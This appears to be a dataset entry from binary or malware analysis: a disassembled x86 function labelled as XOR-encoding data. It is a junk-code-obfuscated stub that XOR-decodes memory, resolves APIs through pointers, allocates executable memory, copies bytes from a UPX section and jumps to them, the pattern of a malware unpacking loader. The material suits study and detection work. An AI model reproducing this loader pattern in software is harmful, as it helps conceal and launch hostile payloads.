Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x846b7ba9
or edx, esi
mov edx, 0x3682bd73
sub esi, edx
popal
sub esi, edx
and esi, edx
not esi
mov esi, 0
mov ecx, edx
inc eax
or edi, edi
mov ebx, ecx
inc edi
dec eax
dec edi
mov edx, ebx
sub eax, 0xc9dc9415
and edi, edi
inc esi
mov eax, 0x7c7bb27f
not edi
cmp esi, 0x10027ff
jne 0xa789c7
mov eax, 0xb45d0a00
and edi, eax
add edi, eax
sub edx, esi
mov esi, 0xf823d0ae
mov edx, esi
mov edx, 0xa78796
sub ebx, ecx
not esi
not esi
mov edi, 0xa7898a
not ecx
sub ecx, ebx
sub ebx, 0x1d3a07c
mov eax, dword [edx]
sub esi, ebx
not esi
and esi, ecx
and eax, 0xff
inc ecx
dec ebx
add ebx, 0x86a9902f
xor dword [edi], eax
mov ebx, 0x15d34da5
sub ecx, 0xb73c80f4
inc edi
add ebx, 0x77d769b1
inc esi
inc edx
add esi, esi
inc ecx
add ecx, ecx
cmp edi, entry0
jl 0xa78a1b
mov ecx, 0x95592b13
add ebx, 0x5a1bf1ca
mov ebx, ecx
dec esi
inc ecx
or ebx, ebx
inc ecx
mov edx, 0xa7898e
add ebx, 0x1d828b77
dec esi
not ecx
mov edx, dword [edx]
sub ecx, edi
sub esi, edi
mov edx, dword [edx]
not esi
add esi, 0x681deeb0
push edx
mov ecx, ebx
sub ebx, 0xddb80fd7
mov edx, 0xa7898a
add ebx, 0x9f7ba8b5
or ecx, ebx
mov edx, dword [edx]
or ecx, ebx
not ecx
mov edx, dword [edx]
or edi, esi
add esi, 0x28290e6a
push 0xa78992
sub ebx, 0x97fac8b1
add edi, esi
call edx
or ecx, edi
mov esi, ecx
mov ecx, edi
mov edx, dword [esp]
add esp, 4
sub ecx, 1
sub edi, 0x8346bab1
add esi, 0xf037b34b
push 0xa7899f
and ebx, esi
not ebx
push eax
add ecx, 1
or ebx, ebx
call edx
or esi, edi
sub ecx, ebx
push 0x40
mov esi, ecx
not esi
or ebx, ebx
push 0x3000
mov ebx, 0x95f896cb
or ecx, ebx
push 0x20000d58
sub ebx, 0xcd7c5d46
not edi
push 0
mov edi, 0xcaab3dc
inc ecx
sub ebx, 0x10445c62
call eax
not edi
mov edi, 0x3beb6ba0
add eax, 0x20000c93
and ebx, esi
not ecx
mov edx, 0x8f9987f3
not edi
add ecx, esi
and ecx, ecx
mov dword [eax], edx
dec esi
add ebx, 0xbd937626
mov edx, dword [eax]
sub ecx, edi
not esi
cmp edx, 0x8f9987f3
je 0xa78b64
mov ecx, 0
mov ebx, dword [ecx]
add ecx, ebx
or edi, ecx
add esi, esi
dec ecx
not ebx
dec esi
mov esi, 0xd3d30dbd
add edx, edx
mov ecx, section.UPX1
sub esi, edx
sub edx, esi
add edx, 0xf5150107
mov eax, 0xa78795
sub esi, edx
add edx, edx
sub edx, esi
mov edi, 0
sub edx, esi
sub esi, 0x400159c6
not edx
mov ebx, 0xa78796
dec edx
dec edx
add edx, edx
lea ebx, [edi + ebx]
add edx, esi
add esi, 0xa16092e
mov ebx, dword [ebx]
add edx, esi
add esi, esi
sub esi, 0xedfcb99a
and ebx, 0xff
sub edx, 0x463b61f4
add edx, 0x7510d54
add edi, 1
or edx, esi
or edx, esi
sub esi, 0x9c79deb8
cmp edi, 0x1f4
jne 0xa78bed
mov edi, 0
and edx, esi
and esi, esi
mov edx, 0x2d04f09a
not esi
add edx, edx
sub edx, 0x7b021ea8
xor dword [ecx], ebx
add esi, 0xecc10d56
sub edx, 0x3a6574ff
and esi, esi
add ecx, 2
mov esi, 0x8048d888
add esi, edx
cmp ecx, eax
jl 0xa78b9e
inc edx
not esi
and esi, esi
inc esi
mov esi, section.UPX1
add edi, 0x66a71c4f
add edi, 0xbc754d49
and edx, edi
mov eax, section.UPX1
mov edi, 0xf11d2d0e
sub edx, edi
mov ecx, 0xa78795
sub edi, edx
add edi, 0x6070754d
mov edi, edx
mov ebx, 0
dec edx
sub edx, edi
mov bl, byte [eax]
mov edi, 0x3f0bee59
add edx, 0xe4621504
sub edi, edx
mov byte [esi], bl
inc edi
add edx, 0x8cd4aa4e
add esi, 1
sub edx, edi
and edx, edx
add eax, 2
add edx, 0x63dfe107
add edi, 1
cmp eax, ecx
jle 0xa78c61
dec edi
add edx, edi
add esi, 0x20bb9989
sub esi, 1
mov edx, 0x6510a783
push 0x8dc6a0
mov esi, 0xec084a87
or edx, edx
and esi, edx
ret